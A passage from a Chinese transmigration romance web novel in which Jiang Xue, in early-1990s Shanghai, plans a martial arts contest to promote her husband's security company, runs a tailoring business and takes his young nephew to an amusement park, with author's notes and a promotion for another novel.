即便如此，一段时间下来，关嘉言好不容易养胖一点儿的脸颊又瘦了回去。 有好几次回来的晚，关嘉言更是困得眼睛都睁不开，第二天一早又要跟着关山越出门。 “以后关嘉言也能在家里，不用跟你一天到晚的在外面跑。”拦住他想说的话，江雪坐做了个伸手要钱的动作，“你要是觉得实在过意不去，就当是你赚钱养家，我在家看娃，咱俩分工合作！” 昏黄的灯光从头顶洒落，江雪整个人被笼罩在一层柔和朦胧的光晕里，满含笑意的明亮双眸，微微上扬的嘴角，灵动中带着一丝狡黠。 关山越眸心微动，像是有什么从他心口钻了进去，落地，生根发芽。 他起身，直接翻出存有自己全部存款的存折，放到江雪掌心，语气坚定无比，“密码是XXXXXX。” 江雪忍不住笑出声，反手一揣，当真不客气的把存折收到了自己兜里。 新的缝纫机第二天就送上了门，放在客厅靠阳台的地方，空间大，光线好。林虹过来看后，立马拍手叫好，转头就出门给江雪拉生意去了。 临近年末，有人去街上直接买成品衣服，也有人找裁缝做衣服。 接连来了几个人找自己补衣服，来找她做衣服的却一个都没有。 思考了一下原因，江雪索性去商店选了几样布料，买回来后先给关嘉言做衣服，做好后就给关嘉言穿上，带他出门晃悠一圈。 关嘉言本来就长得乖巧可爱，凭借一张脸，在楼里收获了一众爷爷奶奶，还有姐姐阿姨们的芳心。 再看他身上的衣服，做工精细不说，最主要的是样式好看，不是大街上随处可见的款式。 江雪的裁缝生意很快一天天好了起来。 * 会议室里发生了一场不大不小的争吵，林栋梁摔门走人，巨大的声响惊动了其他人，正在训练的几个人纷纷转头看去，都看到了他生气离开的身影。 “又吵架了。” “不是说大老板回来就好了吗？” “大老板最近天天出去拉业务，但是，难啊！” “怕什么，公司里就咱们几个人，大生意没有，小生意也够了。” …… 会议室里还剩下关山越和董志勇。 董志勇是海市人，四年前他因伤退伍，和关山越联系不断。 两年前海市股票交易所开市，得知消息的关山越把自己多年以来攒下的积蓄全部寄给了他，委托他购买股票。 几次买进卖出，关山越手里的钱翻了倍。 在股市赚了钱后，关山越没有像其他人一样，把全部身家投进去搏一把，反而从股市撤了出来。就在他撤出来没多久，股市暴跌，不少人倾家荡产。 关山越不打算继续在股票上花费精力，准备拿着这笔钱开一家公司，一家安保公司。 关山越曾在战场上救过董志勇的命，要不是关山越救了他，他绝不会是只丢两根手指那么简单。所以关山越提出来要开公司，董志勇二话不说就掏钱入伙。 除此外还有个叫蔡成威的，不在海市。 李栋梁是最后才来的，也怪董志勇，喝多了酒嘴上不把门，稀里糊涂的把开公司的事透露了出去，还答应了李栋梁一起干，结果第二天李栋梁当真揣着一笔钱入了伙。 开公司的各项手续全是董志勇跑下来的，接待顾客的办公室开在市区，又在郊区租了片场地用来训练。 真正做起来才知道什么叫花钱如流水，他们几个人的钱加在一块都不够用，还问银行借了一大笔。要是到期还不上，不仅公司要被收回去，还会欠一屁股债。 其中关山越出钱最多，贷款也是以他的名义办的。 抹了把脸，董志勇狠狠心道：“你放心，关哥，要是真的欠了钱，也算我一份！就算去工地搬砖，就算卖房子，我也能替你还上！” 关山越起身拍了拍他的肩膀，“这种话以后不要再说了，回去吧。” 回到家，房间里亮着灯，江雪正在缝纫机前做衣服，关嘉言板板正正的坐在沙发上看电视。 关山越没打扰他们，洗了手后自己去厨房吃晚饭。 光影浮动，客厅门口挂着的门帘被人掀开，江雪轻声轻脚的走了过来，问道：“出什么事了吗？” 晚饭并未加热，冷冰冰的吃进嘴里。江雪皱了皱眉，转身出去倒了杯热水，回来塞进他手里。 “我有眼睛，也有脑子，能看的出来，也能想的明白。” 盯着他的双眼，江雪慢慢往前走了两步。关山越不明所以的跟着往后退，直到后背贴上墙壁，退无可退。 两个人之间的距离仿佛只剩下一个手掌那么宽，呼吸伴随着温热的体温传来。关山越不自觉的吞了吞口水，喉结上下滚动，却见江雪抬起手，从他衣服上拿下来一片枯黄的落叶。 “是公司的事？给我讲讲，说不定我还能帮你出出主意。”—— 作者有话说：[三花猫头][比心]评论区见《 》 20、第二十章 第二十章 裁缝也能做策划 “安泰公司, 护您安泰。” “安泰守护，万事皆安。” “平安守护，首选安泰。” …… 广告词被刊登在报纸一角, 下面标注了公司名称、主营业务和联系方式。 几行小字密密麻麻的挤在一起, 要不是关山越指给她看，江雪还真没注意到报纸上居然还有这么大一块广告位。 把报纸翻个面再看, 只有印着招聘启事的部分被标注的乱七八糟。有的被直接划掉，有的前面被打上对钩，后面却写着“学历不符”、“专业不对口”。 关山越拿起其中一张, 眉头微皱, 指着上面的四个字问：“这是什么意思？” “哪个？”江雪朝他的方向靠了靠, 低头看向他手里的报纸, 只见其中一条招聘信息被她用红笔圈了出来, 旁边写了四个力透纸背的大字——“骗子公司”！ “就是骗人交培训费的。”江雪满不在乎的说：“让先交五十块钱培训费, 说是培训结束就能安排工作, 工资四五百, 干的好还能升职加薪。” 相当老套的骗术, 江雪刚毕业那会儿也遇到过, 只不过不是交五十, 而是叫她先交三千的培训费，培训结束再交三千的□□费，有了这个证就能在就业市场无往不利, 轻轻松松月薪上万。 关山越目光一凝, “你自己一个人去的？” 江雪哼哼一笑, “对啊，不过我才没那么傻，他说了一半我就知道是骗人的, 站起来就走。他还想叫人拦我，还好我早有准备，提前灌了辣椒水。” 关山越：“……” 他放下报纸，说道：“五十块钱不多，下次遇到这种情况，不要冒险，把钱给他们就是。” “五十块钱也是钱。”江雪嘟囔了一句，忽的眼珠子一转，笑着抬头看向他，凑近道：“怎么？担心我啊？” 关山越咳了声，身体微微后仰，错开目光，“出门在外，还是小心点儿好。” “那正好。”江雪追着他的双眼看过去，“回头你教我几招防身的动作，比如防狼术什么的，最好能一招制敌。” 她本意是开玩笑，逗逗关山越，没想到关山越居然当了真，“好，过两天你和关嘉言跟我一起去郊外训练。” 这下轮到江雪傻了眼，“啊？” 聊归聊，正事还是要办。 江雪的报纸买的又多又杂，她都没想到现在市面上居然会有这么多的报纸种类。 有些小报上的内容跟后世的无脑营销号似的，江雪索性都买了回来，闲的没事就翻出来看两眼。有个小报上的小说写的不错，为了追连载，江雪还专门去报刊亭，让摊主找了前面几期卖给她。 可惜的是报纸只能自己看，不像手机一样有听读功能。想到上辈子一边刷短视频一边上班摸鱼的日子，江雪深深的叹了口气。 至少还得二十年。 现在的移动电话还是大哥大呢，拿在手里跟个板砖似的，不仅能接打电话，还能防身。价格也很惊人，在人均工资只有几百块的现在，一部大哥大收费一两万，买到手后还要交入网费。 江雪也不知道哪来的网，是她知道的互联网吗？ 总之物以稀为贵。前两天林虹来找她聊天的时候，还说楼里的谁谁谁买了台大哥大，炫耀的不得了，一天到晚的站在楼道里打电话，声音大的楼上楼下都能听见。 想到林虹，江雪又想起来另外一件事。 因为关嘉言一直和她待在家里，林虹还特意提醒了她，“要赶紧给他找个学校适应一下，要不等上了小学，不好和其他小朋友相处的。” 江雪活了两辈子，第一次自己养孩子，后知后觉的意识到等翻过年关嘉言就六岁了，确实到了上小学一年级的年龄。不过现在都已经到了年底，只能等过完年再找学校。 林虹儿子当时是在工厂开办的职工幼儿园里上的学，要交的钱不多，园里的小朋友又都是打小一块长大的，所以第一天上学就适应的很好。 江雪既不是工厂的工人，也没有海市户口，但还是委托林虹去问了问，得到的回答是可以入学，只是要交的费用比工厂的职工贵了一倍还多，并且不能像其他孩子一样直接上对口的小学，得先考试，再看学校愿不愿意接收。 正想着，电视剧播到了尾声，没一会儿，电视屏幕变成了花花绿绿的花屏，开始播放音乐。 “言言。”江雪喊了一声。 “嗯！”关嘉言将视线从电视上挪开，乖乖从沙发上滑下去，走到放电视机的柜子前，垫脚摁下开关。 江雪让关嘉言看电视，主要还是想让他学着说话。 关嘉言不愿意说话的毛病上辈子也有，甚至还在采访中提到过。是因为小时候徐秀兰嫌他吵，只要他发出声音，就会不分青红皂白的骂他，有时还会对他动手。这种情况持续了好几年，直到后来出演电影，他对着剧本背台词，才慢慢好转。 经过这段时间的相处，关嘉言已经愿意用一些简单的词语来回答她，不再像以前那样只会摇头和点头。 抬起脚尖踢了踢关山越，江雪一手拿着报纸，一手在纸上写写画画，随口道：“你带他去洗脸刷牙，热水在炉子上，让他泡完脚再睡。” “好。” 关山越收回视线，站起身，牵着关嘉言去了洗手间。 等他回来，江雪已经在纸上列好了大纲。 “要想打好广告，首先要做好自己的公司定位，然后是市场调研。”拿出自己上辈子做市场营销和互联网运营的经验，江雪把大纲放到关山越面前，一条一条的指给他看，“公司的经营范围是什么？目标客户是哪些人？他们的需求有哪些？” “然后就是打广告。”江雪又把广告词拿出来，“这几句广告词确实不错，朗朗上口，但很难给人留下具体的印象，并且这么多广告挤到一块，大部分人看报纸只会扫一眼过去，也很难注意到。” 在互联网发展起来之前，纸媒是普通人了解信息的首要渠道。因此，在报纸上打广告是大部分商家的首选，广告按字收费，字数越多，占据的版面越大，收费也就越高。 而另一个打广告的途径就是电视了，当然这个收费更贵，是那些有名气的品牌、工厂，又或者大公司才出得起的价钱。 长篇大论说完，江雪喝了口水，开始说结论，“既然你开的是安保公司，那么就要让客户知道你们的实力，顺便给自己打打免费的广告。” “你觉得，开一场比武大会怎么样？” * 江雪做了份详细的策划书。 没有电脑，全凭手写。写到最后，江雪只觉得自己的手腕都不是自己的了。 把策划书交给关山越的第二天，江雪穿戴整齐，带上关嘉言，跟关山越一起去了公司开会。 会议室里今天坐了四个人，江雪、关山越、董志勇，还有李栋梁。 关嘉言在外面，由负责接听电话，做访客登记的前台小哥陪着玩。 清了清嗓子，江雪主动开口道：“既然策划书大家看过了，那我就不浪费大家的时间再介绍一遍，你们有什么想问的，直接问就行了。” 话音落，董志勇看了坐在首位的关山越，没吱声。反正只要他关哥同意他就同意，江雪是他关哥对象，总不会自家人坑自家人。 第一个发问的是李栋梁，“奖金设置是不是太高了，第一名三千，第二名两千，第三名一千，这些加起来都有六千块了！” 江雪从善如流，“当然，这个看你们自己的决定，我只是做了个模板出来。” “那你说让电视台来录像，你能请来电视台的人？” “不能。”江雪当然没有那么大的本事，但她相信媒体人追寻热点的能力，“这个要你们自己去谈，具体内容我已经写在策划书里了，谈成的可能性很高。” 李栋梁当即嗤笑出声，“这不就是说大话吗？万一要是不行呢？” 摁住打算说话的关山越，江雪微笑以对，“说得对，那你来给我个更好的建议吧。”白得一个营销方案还这么多废话，闲的你！ 李栋梁脸色一变，“你！” 关山越敲了敲桌子，“既然如此，那就举手表决吧。”他举起右手，“我同意。” 董志勇也举起手，“我也同意。” 三个人里两票同意，李栋梁别扭了一会儿，也举起手道：“同意。” 江雪：“……” * “大娘，来抬一下手。” 在本子上记下尺寸，江雪收起软尺，“好了，大娘，我再跟您确认一下衣服款式。” 订做衣服的单子收到了半个月后，江雪算了下日子，决定再接最后一个，做完正好过年，过完年后就可以着手做春装。 等到再有人敲门，江雪就不好意思的朝对方道了歉，“这边做衣服的单子接满了，您看看其他家吧。” 来人满是懊恼，“哎呦，我就是听说你做的好看才来的。” 对待潜在顾客，江雪的态度一向很好，“现在做的都是冬款，等开春就要做春夏款了，到时候我给您留个位置，您看看有没有喜欢的。” 冬天的衣服再怎么做都是臃肿的，自然还是春夏的更好看，“那行，到时候我保准第一个来。” 送走了对方，来做衣服的大娘满脸开心，“那我真是赶巧了，正好赶上最好一个。” 江雪笑了笑，登记完信息，确认布料材质和尺寸，“大娘，十天后来试衣，最晚半个月后就能拿到了。” 送走大娘，江雪在门口挂了个停止营业的牌子，关上门回到自己房间。 自从来的人越来越多，电视就搬到了她房间里。关嘉言正坐在床上拼积木，怀里抱了个江雪给他做的兔子玩偶。 见到江雪进来，关嘉言一骨碌翻起身，指着电视道：“看！” 江雪走过去点了点他的鼻子，“看什么？” 关嘉言又憋出一个字，“舅。” 找学校的事刻不容缓，江雪弯起两指夹了夹他的鼻子，轻声道：“好，开电视，看舅舅。”—— 作者有话说：[害羞]《 》 20-30 第二十一章 比武大会 在镜子前左左右右、前前后后的照了半个多小时, 董志勇重重叹了口气。 电视开着，屏幕里正播着他们公司的节目——比武大会！ 这两天，只要他一出门, 总能碰上有人来问他, 比武大会开的怎么样了，到底谁拿了冠军, 有没有人挑战成功，以后还开不开。 “唉！”又重重叹了口气，董志勇忍不住提高了嗓门, “刘文月！” 刘文月, 也就是董志勇的妻子重重地翻了个白眼, “那么大声干什么？叫魂呐！” 董志勇两步窜到她面前, 往电视机前一站, “看、看、看, 你看我, 往我身上看！” “啧！”刘文月不耐烦了, “你有什么好看的？一边去, 别耽误我看电视。” 董志勇鼻子都要气歪, “我今天可是要去接受采访, 不光要上报纸，还要上电视，你快点儿的, 来帮我看看衣服怎么样, 合不合适。” 刘文月不客气道：“呵呵, 人家那是要采访你吗？人家要采访的明明是关老板，关经理！” 说着，视线在他身上上下扫了扫, 董志勇见状，连忙立正站好，抬头挺胸，努力吸气肚子，“怎么样？” “你说，这差不多的衣服，怎么穿在你身上，跟穿在关经理身上，就是不一样呢？” 董志勇一下子泄了气。 他退伍之后胖了几十斤，整个人跟吹气球一样鼓了起来。要不是这半年多的以来，为了公司的事来回跑动瘦下去不少，他现在还能更胖。 电视里，记者的镜头转到了关山越身上。 垂质感良好的黑色西装裤，高领浅色毛衣，灰色的呢子大衣，下摆长至小腿。原本的短发茬长长了不少，在头顶略抓出一个造型。 “低头。” 梳好的头发喷上摩丝定型，江雪后退两步看了看，满意点头。 自从比武大会开始，关山越每天穿的衣服就都是江雪给他挑出来搭配好的。几件单独来看平平无奇的衣服，一旦经由江雪的手安排，就好像有了什么魔力，让人一看就挪不开眼，觉得这衣服真是好看。 以至于电视台的人来拍摄，拍着拍着，镜头就转到了他身上。后来还有人专门去买同款衣服，竟然也掀起了一股不大不小的潮流。 比武大会一共五天，为了防止不专业的人贸然参加比赛受伤，头三天是公司内部的选拔赛。 十几个人轮流抽签，两两一组，分为初赛、晋级赛、半决赛和决赛，最后获胜的前三名，不仅可以拿到公司发的奖金，还能获得金牌保镖的称号。 这个称号可不是白得的，关经理说了，获得这个称号的人，公司有业务第一个安排给他。业务多，提成也就多，工资发下来，说不定会比别人多好几倍。 他们的训练场地离市区太远，江雪建议他们另外找一个地方，最好离市区近一点儿，场地也大一点儿，方便有人来看。 董志勇一开始还嘀咕，他们办的这什么比武大会，真的会有人来看吗？ 结果现实让他打了脸，第一天上午来看的人还不算多，到了下午，来的人就围了好几圈。好在江雪让他们提前准备绳子，把比赛场地给围了起来，否则连他们都要被挤到一边去。 到了第二天更是不得了，不光来看的人多，甚至还有人在他们旁边做起了小买卖，卖些吃的喝的，还有小孩子喜欢的小玩意儿. 并且，不光有电视台来拍节目，还多了好几家报刊的记者，又是拍照片又是采访的，第二天的报纸上，就都是他们公司的名字，还有照片。 这可比花钱打广告有用多了。 别说董志勇，就连一开始上蹿下跳的李栋梁也服气了，每天打扮的人模狗样的往镜头前一站，不知道的还以为他才是大老板呢。 后两天便是挑战赛，挑战内容有俯卧撑、引体上升、四百米障碍赛等等，挑战者可以任选一项，只要挑战成功就能获得奖金。 有了前三天的铺垫，来挑战的人大多都有一定的实力。期间还有人觉得关山越是当老板的，穿的又和别人不一样，说不定只是会做生意，比不过手底下的员工，便大手一挥要跟他比试比试。 结果自然是输的心服口服，这场比赛毫无疑问的在第二天登上了报纸头条。 经此，安泰公司彻底在海市打出了名气，打到公司的电话一个接一个，还有人直接开价，要请比武大会的冠军去做他的贴身保镖。 倒是不用担心会不会有人越过他们直接挖人，毕竟跟他们合作是要签合同的，条款写的清清楚楚，违约就赔钱，最基本的安全有保障。 要是越过公司，那跟在大街上随便找个人有什么区别，万一有人见钱眼开，临阵反水，他们哭都没地哭去。 * 天气一天冷过一天，江雪手里的衣服单子做完，很快便到了春节。 大年三十前一天，关山越从深市出差回来，给全公司放了假。等到他风尘仆仆的出现在门口，开门的江雪险些没认出来是谁。 这趟护送的预计时间是四到五天，两天前关山越打了楼下报刊亭的电话，告诉江雪他会晚两天回来。 没说原因，但江雪也大概猜到应该是路上出了事。毕竟这时候从事商业活动，讲究的是一手交钱，一手交货。来往交通不仅远没有后来便利，路上也没有多少监控，保不齐就有人打错了主意，想要发笔横财。 上辈子江雪就在网上看到过一些发生在零几年的新闻，说是有人在银行取钱，因为金额较大，害怕遭遇抢劫，就打电话给警察，由警察亲自护送他们回家。后来甚至又银行专门提供了这项业务，如果客户取钱金额较大，就负责专人护送。 关山越看中的正是这个市场，广市、深市、以及海市，这是当下国内商业发展最迅速的三个地区，来往贸易，不管是货物还是货款，都是某些人的目标。 出发前关山越告诉江雪，这次雇用他们的老板是深市人，第一次来海市做生意，身上带了至少十几万的货款，一路火车转汽车，生怕被人抢。在电视上看到他们的比武大会，索性咬咬牙花钱给自己请了三个保镖。 贵是贵了点儿，但比遇上劫匪，丢钱又丢命的强。 “遇上点小麻烦。”对上江雪担忧的目光，关山越没打算细说，毕竟有些事在他看来没什么，在其他人眼里，跟死里逃生区别不大。 * 1993年的烟火在夜空如期绽放。 年夜饭由关山越亲自抄刀，江雪只负责在旁边打打下手。年夜饭摆上桌，春节联欢晚会也正式开始。 江雪上辈子不看春晚，每次都是开着电视玩手机，等难忘今宵唱完，春晚也就结束了，至于春晚上的节目有那些，在手机上看看热搜吐槽就行，一刷一大把，比春晚有趣的多。 原来以前的春晚这么好看。 江雪看的津津有味，甚至还在里面看到了几个年轻版的熟面孔。 不管是市区还是郊区都不禁烟花，昏暗的天空亮光一个接一个，叫人目不暇接。 关嘉言一边舍不得电视，一边又想看放烟花，小脑袋左右转个不停，都不知道到底是要看哪儿。最后还是关山越带他去楼下，点了根香叫他拿着，又给了他几根炮仗放着玩才算尽兴。 江雪也跟着下了楼，她不敢放炮仗，就拿那种一根一根的烟花放着玩。 “仙女棒。”江雪还记得这种烟花的名字，就是不知道现在叫什么。 春节的前几天要走亲访友，他们三个哪都不用去，在家里吃吃喝喝，结结实实的呆了几天，看完了三遍春晚重播，连关嘉言都对节目不再感兴趣时，他们出门了。 要去的地方是一家名叫锦江乐园的游乐园。 本来是江雪在家里随口一提，说是能去迪X尼玩就好了。说完才想起来这时候的海市还没有迪X尼，还要再等二十多年，那时候她都要四十多岁了。 江雪面色凝重的放下了手里的糕点。 “什么尼？”关山越习惯了耳听六路眼观八方。 江雪换了个说法，“游乐园。”又低下头问关嘉言，“言言想不想去游乐园？” 关嘉言不知道什么是游乐园，只知道是要出去玩，兴奋的晚上睡不着觉，躺在床上小声哼歌。 江雪出来上厕所时听见，反映了一会儿才意识到他哼的居然是春晚上表演的曲目，他才看了几遍就记住了旋律，还哼的有模有样，虽然没有歌词，但一点儿都没跑调。 怪不得上辈子被业内誉为最具天赋和实力的歌手。 江雪心里泛出了酸泡泡。 锦江乐园离他们住的地方有些远，第二天早早起床出门，到地方时，售票处已经排起了长队，全是带着自己孩子来玩的父母长辈。 现在还没有几十年后流行的那种通票，要先买门票进去，进去之后，游乐项目另行收费，想玩哪个，就交哪个的钱，想多玩几次，就多交几次钱。 门票一人五毛，年龄小，个子矮的小孩子还能免门票。难怪会有这么多的家长愿意带着孩子来玩，一年到头可能也就来这么一两次，孩子高兴，家长也省心，开开心心过个年比什么都重要。 本来江雪还带着时间滤镜，以为这时候的游乐园没什么好玩的，进来一看才知道自己想错了。乐园里的游乐项目足足有十几二十个，真要挨个玩下来，加上排队买票，至少得大半天的时间。 像过山车这种太刺激的，关嘉言年纪小玩不了，关山越和她倒是可以试一试。不过除了她之外，关山越和关嘉言都是第一次来这种地方，最好还是循序渐进，先从没什么挑战性的开始玩。 想着，江雪眼前一亮，指着一个方向道：“我们先去那里！”—— 作者有话说：[哈哈大笑] 第二十二章 男色误人 “咔嚓”一声, 时间就此定格。 过年期间，乐园将大门入口处装点的十分漂亮，红绸缎, 红灯笼一个接一个, 还有好几个大玩偶，有孙悟空、葫芦娃、黑猫警长, 还有舒克和贝塔，都是孩子们最喜欢的动画片里的角色。 拍照的摊位就摆在旁边，保准让每个看到的孩子都挪不动脚, 撒泼打滚也要缠着爸妈同意和孙大圣拍照。 一连拍了好几张照片, 有单人照, 也有三人照。 选择在门口拍照留念的人不少, 但像他们一样拍了好几张的却不多, 毕竟一张照片就要好几块钱, 比在照相馆拍照贵多了, 足够他们在乐园里玩上好几个项目。 “爸爸妈妈不一起拍一张吗？”摄影师热情非常。 江雪还没反应过来摄影师口中的“爸爸妈妈”是谁, 站在她和关山越中间的关嘉言就松开了牵着她的手, 蹬蹬往前跑了两步, 给他们留出拍照的空间。 见状, 摄影师马上举起相机，指挥江雪和关山越靠近一点儿，“妈妈挽住爸爸的胳膊, 爸爸搭一下妈妈的肩, 靠的近一点儿, 笑的再甜蜜一点儿。” 闻言，江雪大大方方的往关山越的方向靠近，却没有像摄影师说的那样挽住关山越的胳膊, 而是微微侧身，靠在了关山越身上。 隔着衣服，后背触及一团柔软有弹性的肌肉，江雪笑吟吟看向镜头，而关山越低头垂眸，视线深深的落在靠着他的江雪身上，摄影师恰在此刻摁下了快门。 交完钱，照片要两个小时后才能取，他们先去排队游玩。 在旋转木马上转了两轮，下来后又去玩碰碰车。关嘉言一开始还矜持的不发出声音，到了碰碰车上，没一会儿就兴奋的尖叫，甚至主动从江雪手中接过方向盘，转动车子去和关山越对撞。 江雪真怕他喊坏了嗓子，这可是未来顶流唱歌的金嗓子，买了上百万保险的那种。从碰碰车下来后，江雪赶紧喊关山越把水壶从包里掏出来，倒了小半杯温水叫关嘉言慢慢喝，润润喉咙。 喝完水，关嘉言眼巴巴的看着她，“拍照。” 这是提醒她该去取照片了。 一共七张照片，一张三人合照，江雪和关山越每人一张单人照，而关嘉言的照片有三张，他有好几个喜欢的动画片角色，江雪没有让他选，而是挨个去拍了合照，叫旁边看着的小朋友羡慕的不得了。 最后一张就是她和关山越的合照，摄影师显然对自己拍的这张照片满意极了，特意放在最上面，递给江雪的时候还夸了一句郎才女貌。 刚才他俩拍完，后面有好几对都学这个动作拍合照，可都没有他们自然亲昵。 江雪笑着接过，目光在上面停留了一瞬，手指微动，把照片压在了最下面。 拍照时她做那个动作是故意的，人嘛，食色性也。面对一个和自己领了结婚证，长了一张英俊堪比港台巨星的脸，身材又好的年轻帅哥，谁能不说一句男色误人。 他们可是合法夫妻。 她趁机占人便宜不假，但关山越没看镜头，反而盯着她看，那就很说明问题了。 见关嘉言拽着她的衣角，努力垫脚往她手上看，江雪把剩下的照片放进他手里，俯下身道：“言言喜欢拍照吗？” 关嘉言认真点头。 翻到他们三个人的合照，关嘉言伸出手，摸了摸上面江雪的脸，奶声奶气道：“妈妈。” 江雪猛地一怔，下意识否认，“不是……” 江雪嗓子发紧，一时间不知道要说什么。前两天她还在偷偷吃关山越的醋，明明和关嘉言相处时间最长的人是她，结果关嘉言愿意开口说话，却只叫关山越舅舅，不叫她。 “言言。”关山越开了口，“你叫我什么？” 关嘉言认真回答：“舅舅。” 顿了顿，又抬头看向江雪，“舅妈。” 忍下眼底的泪意，江雪把他搂进怀里，“乖。” 照片暂时收了起来，不过江雪还是从中发现一个细节，“我是不是长高了？” 上辈子她的身高有一米七左右，原主比她略矮一些。这段时间她和关嘉言吃好喝好，都肉眼可见的长胖了不少。江雪给关嘉言做衣服，有次做完发现裤腿短了，才意识到关嘉言居然不声不响的往上窜了一截。 关山越看了江雪一眼，“是长高了。”就是不细看，确实不怎么能看的出来。 玩了一上午，三个人都饥肠辘辘。简单吃了点儿东西，又买了袋鱼食，去湖上踩了半个小时游船，一边看风景一边喂鱼。 “等天热了我们就来水上世界玩。”江雪对关嘉言许诺。乐园的水上世界是新建成的，有不少水上项目。 简单轻松的游乐项目全都玩过一遍，剩下的就是过山车、超级秋千、空中飞椅之类的刺激项目。 注意到江雪跃跃欲试的目光，关山越正要开口，突然听到有人远远的叫了他一声。 “关哥？” 瘦了不少的董志勇怀里抱着个小女孩远远的跑了过来，小女孩三四岁的年纪，扎着小辫，打扮的漂漂亮亮长了张和董志勇一模一样的圆脸。 董志勇把闺女放到地上，“甜甜，叫人。” 甜甜眨了眨圆溜溜的双眼，小脸奶呼呼的，先是对着关山越道：“叔叔好。”又转头看着江雪，鼓了鼓嘴巴，“姐姐好。” 江雪：“……” 关山越：“……” “嘿，你这倒霉孩子。”董志勇尴了个尬，“叫阿姨。” “阿姨好。”甜甜从善如流。 “叔叔好，阿姨好。”关嘉言学着甜甜的样子打招呼，说完便扑到了江雪腿上。 董志勇今天也是带着老婆孩子一块儿来玩的，没曾想会碰上关山越一家。打过招呼，两家人顺势站到了一起。 “关哥，玩过山车啊？” 过山车排队的人是最多的，叫的也是最惨的，就算一开始不想玩，听到别人叫的这么惨，就有种自己也想上去试试的冲动。 江雪对董志勇笑了笑，“是我要玩。” 董志勇吃了一惊，“啊？嫂子，你自己一个人上去，不害怕的啊？”他眼珠子一转，手肘捣了捣关山越，“让关哥陪你一起，关哥胆子大。” “你们一起嘛，来都来了的。”刘文月也跟着劝：“我就不去了，我好怕这个，看到就头晕的不行。” 他们要是都去坐过山车，就得把甜甜和关嘉言都留下，刘文月随意的摆摆手，“这有什么，带一个孩子是带，两个孩子也是带，正好也让两个小家伙认识认识。” 过山车两人一排，董志勇上去就牢牢占据了第一排的位置，江雪和关山越跟在他后面，顺势在第二排落座。 一趟过山车坐下来也就两三分钟，从椅子上下来时，江雪脚下踉跄，关山越眼疾手快的揽住她的腰，“小心。” 江雪的脸被风刮得微微泛红，她捂了捂脸，笑道：“没事。” 上辈子比这还陡还长的过山车江雪都玩过，刚才不过是猛然从失重状态下起身，没能第一时间适应脚下而已。 但江雪没有推开关山越，反而握住他的胳膊，兴奋道：“我们等下去玩空中飞椅吧！” 关山越：“……” 关山越不怕高，但身处半空，被束缚在椅子上动弹不得，头顶脚下都空荡荡的，让他有种自己不受控的错觉。对过山车这类游戏，也实在喜欢不起来。 但对上江雪明亮兴奋的双眼，关山越鬼使神差的点了点头，“行。” ……舍命陪君子。 * 从锦江乐园回来没多久，董志勇便招呼着一起吃顿饭，“咱们两家人，再加上栋梁，好好聚一聚，认识认识的啦。” 这顿饭主是要为了给江雪道谢，要不是有她出主意，他们几个这会儿还头疼着呢。 再者就是李栋梁。 上次在会议室，李栋梁多少有些咄咄逼人。然而后来比武大会办的那么成功，又是上电视，又是上报纸，给公司拉来了不少客户。按理说，李栋梁就算不给江雪道歉，也该主动服个软。 但是李栋梁这人年纪轻，脾气大，性子又直，知道自己错了，却拉不下脸说好话，董志勇就想趁着这个机会从中说和说和，缓和一下关系。 关山越回来问江雪的意见，吃饭没什么不好的，江雪答应下来，带着关嘉言前去赴约。 到了饭店门口，又是刚好碰上董志勇一家。 “江雪！”刘文月带着甜甜朝江雪招手。 经过上次在锦江乐园的相处，刘文月对江雪印象不错，拉着她稍稍落后两步，压低声音说：“那个李栋梁，我最不喜欢。” 江雪闻言只是笑。 刘文月斜昵了她一眼，“等下你就知道了，要不是他们一起开公司，我真是不想来这一趟。那个人，说话办事咋咋呼呼，还带我们家大勇去那种地方，好在我们家大勇老实，回来就告诉我了。” 那种地方？ 江雪不明所以，然而打完哑谜，刘文月就转了话题，问起关嘉言身上的衣服。 在包间凳子上坐下没多久，李栋梁推开门进来，后面跟了个二十来岁的年轻女孩。 “我妹妹，石晓茹。”—— 作者有话说：[害羞]推推自己的预收，对文案感兴趣的宝宝可以点进专栏收藏一下下《反派长嫂当家日常[七零]》 意外猝死前，江晨看完了一本年代刑侦小说 小说里，杀人凶手宋晓薇十六岁不到就被大嫂算计嫁人，不得已辍学远赴边疆 数年后回城探亲，却发现自己亲妈离世，弟弟被卖进山里不知所踪，妹妹被婚后家暴跳河自杀 出于报复，宋晓薇犯下命案，最终被主角抓获 江晨被里面和自己同名同姓的恶毒大嫂气的呼吸不畅，谁知两眼一闭一睁，她竟然成了书里那个霸占公公和丈夫赔偿金，逼宋晓薇嫁给鳏夫，赶弟妹出家门的恶毒大嫂 不仅如此，她还收获了一个名叫【读书改变命运】的系统，只要宋家姐弟能够考高分，拿奖状，她就能赚取积分，兑换失传已久的极品菜谱！ 拉住就要坐上火车的宋晓薇，江晨果断道：嫁人取消，都去上学！ 自此后，江晨一手擀面杖，一手鸡毛掸子，让宋家彻底没了安生日子。 古诗不会背？抄五十遍！ 写错字？抄一百遍！ 语数外，政史地，理化生，科科不落！ 小周考，大月考，期中考，考考不断！ 哭？哭也算时间！ 现在是1975年，离恢复高考还有三年。读书是改变普通人命运的登天梯，只要考上大学，就能一飞冲天！ 宋家家训第一条：好好学习，天天向上！ 又名：只要学不死，就往死里学！ * 人人都说宋家的祖坟冒了青烟，不仅三个儿女都考上了名牌大学，就连那个嫁到他家半年就守寡的江晨，也抡起大勺，在男人扎堆的国营饭店站稳了脚跟，后来更是开起了小餐馆，成了远近闻名的国家级大厨！ 排雷：1、大哥是真的死了，不是男主 2、男主暂定，女非男C 第二十三章 看好关经理 “妹妹？他一个西南人, 爸妈都在老家，哪里来的妹妹？”刘文月嘴巴厉害，说起话来又快又急, 说的是普通话, 但带了点海市话的调调，“不得了呢, 大学生。” 江雪踩着缝纫机，手上没停，学着她的语调, “他自己一个人的呀, 姐姐妹妹, 就算是阿姨也没关系的啦。” 刘文月笑的停不下来, 隔空点了点她, “你啊你, 说话噎死人。” 说完, 转头去看摊放在座子上的衣服, 随口讲起八卦, “他哪是自己一个人, 娶了老婆在老家孝敬爸妈, 自己跑出来过潇洒日子，没良心着呢。” “啊？”江雪这才吃了一惊，她以为李栋梁是个单身汉。 江雪对李栋梁了解不多, 满打满算加起来也就见了三次面, 刘文月就不一样了, 她性子活，不管是和谁，都能聊两句。江雪比她小五六岁, 见面不多，但相处下来是好的。 董志勇张口闭口的叫关山越关哥，刘文月反而把江雪当自家妹妹看待，顺着话头警醒她，“你要看好关经理，他们一群大男人整天在外面跑，谁知道会去什么地方。我可听大勇说，有的大老板去歌舞厅消费，带了大把的钞票，腰包鼓鼓的，怕被人敲了闷棍，就请他们跟着。” 